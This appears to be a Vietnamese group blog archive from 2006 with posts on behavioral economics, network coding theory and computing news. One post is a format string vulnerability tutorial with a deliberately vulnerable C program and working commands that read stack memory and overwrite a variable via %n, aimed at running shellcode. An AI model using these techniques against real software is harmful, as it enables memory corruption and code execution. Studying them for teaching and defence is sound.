Ngô Quang Hưng | 28 tháng 02, 2006 | 
Bản để in
Chuyện kể của một GSTS nữ. Feminism bám rễ sâu xa vào giới hàn lâm của Mỹ thật. Nhắc đến đây mới nhớ, tôi từng thấy vài business cards với cái title rất dài trước tên, kiểu như “Giáo sư, tiến sĩ khoa học, phó tổng giám đốc, phó bí thư, đại diện công đoàn liên hiệp xí nghiệp nước mắm tươi mát Mù Căng Chải“
Ngô Quang Hưng | 27 tháng 02, 2006 | Bản để in
Trích bài viết về Behaviorial Economics ở tạp chí Harvard:
Ashraf worked with a bank in the Philippines to design a savings plan that took off from the African woman’s cashbox. The bank created a savings account, called SEED (“Save, Earn, Enjoy Deposits”), with two features: a locked box (for which the bank had the key) and a contractual agreement that clients could not withdraw money before reaching a certain date or sum. The clients determined the goal, but relied on the bank to enforce the commitment. The bank marketed the SEED product to literate workers and micro-entrepreneurs: teachers, taxi drivers, people with pushcart businesses.
The SEED box, designed to appeal to the bank’s clients (“In the Philippines, they like ‘cute’ stuff,” Ashraf explains), helped mobilize deposits. “It’s similar to automatic payroll deduction, but not enough of the customers had direct deposit to make that work,” she says. To further encourage deposits, Ashraf worked with the bank on an additional program of deposit collectors who, for a nominal fee, would go to the customer’s home on a designated day and collect the savings from the SEED box. The withdrawal restrictions on the account helped clients avoid the temptation of spending their savings. The SEED savings account made a designed choice available in the marketplace that, so far, has helped a growing number of microfinance clients in the Philippines reach their savings goals.
Nhiều sinh viên Ph.D đã và đang áp dụng mô hình này trong nghiên cứu. Họ xin giáo sư hướng dẫn ép họ làm việc bằng cách thiết lập các buổi họp hàng tuần để … họ báo cáo những gì đã làm được trong tuần trước. Đến khi bạn gái/trai rủ đi chơi thì không đi được vì mình đã có hẹn với giáo sư hôm sau - cái hẹn mà … mình thiết lập 
Dĩ nhiên, giáo sư hướng dẫn — biết tâm lý này qua kinh nghiệm — cũng thường thiết lập các weekly meeting/seminar rồi. (Ở đây không tính các meetings do nhu cầu kết quả dự án của các Research Assistants và giáo sư.)
Bài viết rất hay, BTW. Behaviorial economics is a fascinating topic!
Ngô Quang Hưng | 27 tháng 02, 2006 | Bản để in
Tiếp theo bài trước, ta xét (và formalilze) một trong nhiều bài toán liên quan đến network coding.
Dùng một directed graph 
để mô hình một mạng máy tính. Để đơn giản hóa vấn đề, ta giả sử 
là acyclic graph. (Trong trường hợp cyclic, định nghĩa bài toán một cách cụ thể trở nên khó khăn hơn rất nhiều - và nói chung là người ta chưa biết nhiều về trường hợp này.) Trong đồ thị có một đỉnh 
là source và một số đỉnh 
là sinks. Ta muốn truyền dữ liệu từ source đến tất cả các sinks (multicast) trong thời gian ngắn nhất. Giả sử rằng ở mỗi đơn vị thời gian thì một đỉnh trong mạng truyền được một gói dữ liệu. (Trong trường hợp tổng quát, mỗi cạnh của mạng có thể có tốc độ truyền khác nhau, nhưng ta có thể thay một cạnh có tốc độ truyền lớn bằng nhiều cạnh đơn vị.)
Trong network coding, mỗi đỉnh trong mạng có quyền kết hợp các input packets theo cách tùy ý để gửi ra các output links. Để đơn giản, ta giả sử tất cả các packets đều có cùng kích thước là 
bits, nghĩa là mỗi packet có thể được xem như một phần tử của trường 
. Sự “kết hợp” của các inputs packets ra một output link nào đó chẳng qua là một hàm số. Ví dụ: giả sử đỉnh 
có 
input links và 
output links, thì tương ứng với mỗi output link 
sẽ có một hàm số 
chuyển input packets thành một output packet (cũng là một phần tử của trường ) để gửi ra link . Một bộ các hàm số như vậy gọi là một network code. Nếu network code cho phép các sinks giải mã các gói dữ liệu thì nó được gọi là network coding solution. Nếu tất cả các hàm đều là hàm tuyến tính (nghĩa là gói output trên cạnh là một tổ hợp tuyến tính của các gói inputs) thì ta có một linear network code.
Giả sử mỗi cạnh có thể dùng để truyền một gói dữ liệu trong một đơn vị thời gian. Định lý sau đây của R. Ahlswede, N. Cai, S.-Y. R. Li and R. W. Yeung thật là tuyệt vời.
Tốc độ multicast tối đa từ source đến tất cả các sink bằng với capacity nhỏ nhất của các minimum-cuts giữa source và một sink.
Chú ý rằng: với mỗi một sink thì ta có một minimum cut capacity. Lấy capacity nhỏ nhất thì ra được tốc độ multicast tối đa. Định lý này là phiên bản information flow tương ứng của định lý max-flow min-cut lừng danh của Ford và Fulkerson
Tiếc rằng, định lý này (và chứng minh của nó) không xây dựng cho ta được một network coding solution. Nó chỉ cho biết là tồn tại một solution.
Ngoài ra, kể cả khi có solution, việc mô tả solution này cũng có thể cần exponential space, và như thế thì không thể dùng solution đó làm gì trên thực tế được. Để thấy điều này, giả sử đỉnh có 
input links. Mỗi hàm coding từ các input links ra một output link nào đó là một hàm số từ 
đến . Đặt 
thì tổng số các hàm như vậy là bằng 
, như vậy phải có ít nhất một hàm cần đến 
bits để miêu tả nó. Số bít này là hàm mũ của 
.
May thay, bài báo sau đây:
S.-Y. R. Li, R. W. Yeung, and N. Cai. “Linear network coding“. IEEE Transactions on Information Theory , Februray, 2003
cho ta biết là ta chỉ cần xét các hàm tuyến tính. Nghĩa là, nếu có một network coding solution thì có một solution tuyến tính với một giá trị nào đó của .
Ngô Quang Hưng | 25 tháng 02, 2006 | Bản để in
Chuyện này làm tôi nhớ đến truyện “tờ khai visa” của Hồ Anh Thái. Tôi đã nghe không ít chuyện dân VN mình bị làm phiền hơn 3 ông Ấn này nhiều, nhưng VN không ở vị thế để có thể càm ràm làm họ phải “regret” như Ấn.
Mấy lần tôi đi xin visa thì họ đối xử rất đàng hoàng, chuyên nghiệp và nhanh chóng.
Ngô Quang Hưng | 23 tháng 02, 2006 | Bản để in
Báo cáo của ACM Job Migration Task Force về toàn cầu hóa và offshoring phần mềm vừa mới ra. Có rất nhiều thông tin bổ ích cho dân IT. Báo cáo này khẳng định lại báo cáo gần đây từ trường Duke và báo cáo năm ngoái của WTO: offshoring và outsourcing không làm phương Tây (Mỹ) mất nhiều jobs lắm, thậm chí có thể có nhiều việc làm hơn nếu các công ty đáp ứng đúng cách.
Ngô Quang Hưng | 23 tháng 02, 2006 | Bản để in
Washington Post là một trong những tờ báo danh tiếng và uy tín nhất thế giới, thế mà vẫn không tránh được bài viết ngu ngốc này của nhà báo Richard Cohen. Toàn bộ blogosphere xúm vào độp hắn. (Trong đó bài ở Pharyngula hay nhất).
Kể cũng … đáng tội
Ngô Quang Hưng | 22 tháng 02, 2006 | Bản để in
Lỗi định dạng chuỗi (format string vulnerability) cũng nguy hiểm không kém lỗi tràn bộ đệm. Trong bài này ta duyệt qua ý tưởng cơ bản của lỗi định dạng chuỗi. Xem các bài về lỗi tràn bộ đệm để biết sơ bộ về tổ chức bộ nhớ các process trong cấu hình IA-32, cách viết shellcodes, và các cách exploit dùng shellcodes. Khi khác rảnh rỗi tôi sẽ viết tiếp chuỗi bài lỗi tràn bộ đệm, còn rất nhiều chi tiết kỹ thuật hay ho.
Quay lại với lỗi định dạng chuỗi, xét chương trình “vô hại” sau đây:
/* ex1.c */
int main(int argc, char** argv) {
char text[1024];
int a=7;
strcpy(text, argv[1]);
printf(text);
printf(”\nVariable a is at %08x, a = %d\n”, &a, a);
return 0;
}
Chương trình chỉ in ra argv[1], địa chỉ và giá trị của biến a. Chạy thử:
[NQH] hanoi:~/FSV$ a.out AAAA AAAA Variable a is at bffff58c, a = 7
Bây giờ ta thử một argv[1] chứa 20 lần chuỗi %80x- như sau:
[NQH] hanoi:~/FSV$ a.out `perl -e ‘print “%08x-”x20;’` bffffabb-40000300-40000000-08048288-08048288-4001670c-00000007-78383025-3830252d -30252d78-252d7838-2d783830-78383025-3830252d-30252d78-252d7838-2d783830-7838302 5-3830252d-30252d78- Variable a is at bffff52c, a = 7
Nó in ra cái gì vậy? Số là khi ta gọi printf(text), địa chỉ của argument text được pushed lên stack frame của printf. Vì text bây giờ chứa chuỗi định dạng (20 lần %80x-), printf sẽ tìm tiếp tục trên stack 20 arguments tiếp theo, và bằng cách này ta đã có thể xem 20 words tiếp theo của stack kể từ argument của printf. Trong 20 words đó có chứa cả biến a (chỗ có 00000007). Thử lại lần nữa:
[NQH] hanoi:~/FSV$ a.out AAAA%08x-%08x-%08x-%08x-%08x-%08x-%08x AAAAbffffaf9-40000300-40000000-08048288-08048288-4001670c-00000007 Variable a is at bffff55c, a = 7
Như vậy word số 7 sau argument của printf chứa biến a. Word số 8 nên là biến text. Có thể thử bằng cách thêm một cái %08x nữa:
[NQH] hanoi:~/FSV$ a.out AAAA%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x AAAAbffffaf4-40000300-40000000-08048288-08048288-4001670c-00000007-41414141 Variable a is at bffff55c, a = 7
Đúng rồi! Mã hex của chữ A là 41. Bây giờ, thay AAAA bằng địa chỉ một vùng nhớ nào đó và thay %08x cuối dùng bằng %s thì ta đã có thể truy cập đến vùng nhớ bất kỳ.
Chưa hết, ta cũng có thể ghi vào vùng nhớ bất kỳ bằng định dạng %n của printf. Chuỗi định dạng này in vào vùng nhớ tương ứng tổng số bytes của chuỗi cho đến %n. Ví dụ, chương trình
/* ex2.c */
main () {
int a=0;
printf("1234567%n\n", &a);
printf("a = %d\n", a);
}
cho kết quả là
[NQH] hanoi:~/FSV$ e2 1234567 a = 7
Dùng ý tưởng này, quay lại ví dụ ex1.c, ta có thể thay đổi giá trị biến a như sau
[NQH] hanoi:~/FSV$ a.out `printf “\x5c\xf5\xff\xbf”;`%08x-%08x-%08x-%08x-%08x-%08x-%08x-%n \\357\277\275\357\277\275bffffaf6-40000300-40000000-08048288-08048288-4001670c-0 0000007- Variable a is at bffff55c, a = 67
Ah hah! Bây giờ biến a đã biến thành 67, chính là tổng số bytes cho argument của printf trước định dạng %n. (Chú ý rằng địa chỉ bffff55c của biến a cần phải đảo lại vì IA-32 là cấu hình little-endian.
Khi biết cách thay đổi vùng nhớ bất kỳ, ta có thể thay đổi địa chỉ trả về của hàm để chạy shellcode như trong lỗi tràn bộ đệm chẳng hạn.
Ngô Quang Hưng | 21 tháng 02, 2006 | Bản để in
vừa được công bố. Người được giải là Peter Naur (chữ N trong dạng chuẩn BNF).
Lê Hoàng Long | 21 tháng 02, 2006 | Bản để in
Xin gửi mọi người cái link này, trả lời phỏng vấn của một “thương gia” đã từng đi học toán cách đây 20 năm. Đọc xong thấy tức cười, nghĩa là thấy tức, xong rồi phải phì cười
Ngô Quang Hưng | 20 tháng 02, 2006 | Bản để in
Giáo sư Chazelle nói về KHMT ở buổi meeting thường niên của American Association for the Advancement of Science.
But mainly I think that computer science lacks a great popularizer – someone who can describe to a wide audience how exciting it is. More than 25 years ago the book Godel, Escher, Bach, by Douglas Hofstadter, got a whole generation of people excited about the future of computer science. Computer science as a field doesn’t have anyone the way that, for example, physics has Stephen Hawking – someone who in a sustained way explains to the broader public the beauty and wonder and potential of the field.
Bài viết của ông sắp đăng ở Math Horizon thảo luận chi tiết hơn (và chính xác hơn) về lý thuyết KHMT:
Moore’s Law has put computing on the map. Algorithms will now unleash its true potential. Physics, astronomy, and chemistry are all sciences of formulae. Chaos theory moved the algorithmic zinger to centerstage. The quantitative sciences of the 21st century (eg, genomics, neurobiology) will complete the dethronement of the formula by placing the algorithm at the core of their modus operandi. Algorithmic thinking is likely to cause the most disruptive paradigm shift in the sciences since quantum mechanics. And yes, you may trust the future to be kind to this prediction.
Ngô Quang Hưng | 20 tháng 02, 2006 | Bản để in
Ngô Quang Hưng | 19 tháng 02, 2006 | Bản để in
Trích tin mới từ Physorg:
“Quantum cryptographic protocols are so secure that they can not only discover tapping but also where and how much information is leaking out. Now, using telecloning, the identity and location of the eavesdropper can be concealed.”
Telecloning and teleportation may no longer be theories, but we are still a long way from teleporting people.
Fascinating! Xem thêm bài báo của họ.
Ngô Quang Hưng | 19 tháng 02, 2006 | Bản để in
Thêm bằng chứng sống về song đề khó chịu của Trung Quốc trong kỷ nguyên thông tin. Tôi luôn thấy rất vui khi công nghệ máy tính đóng vai trò tích cực trong các chuyển biến cấp tiến (về tư tưởng) của xã hội.
Dĩ nhiên, công nghệ cuối cùng vẫn chỉ là công cụ, được dùng bởi những con người dũng cảm như Li Datong.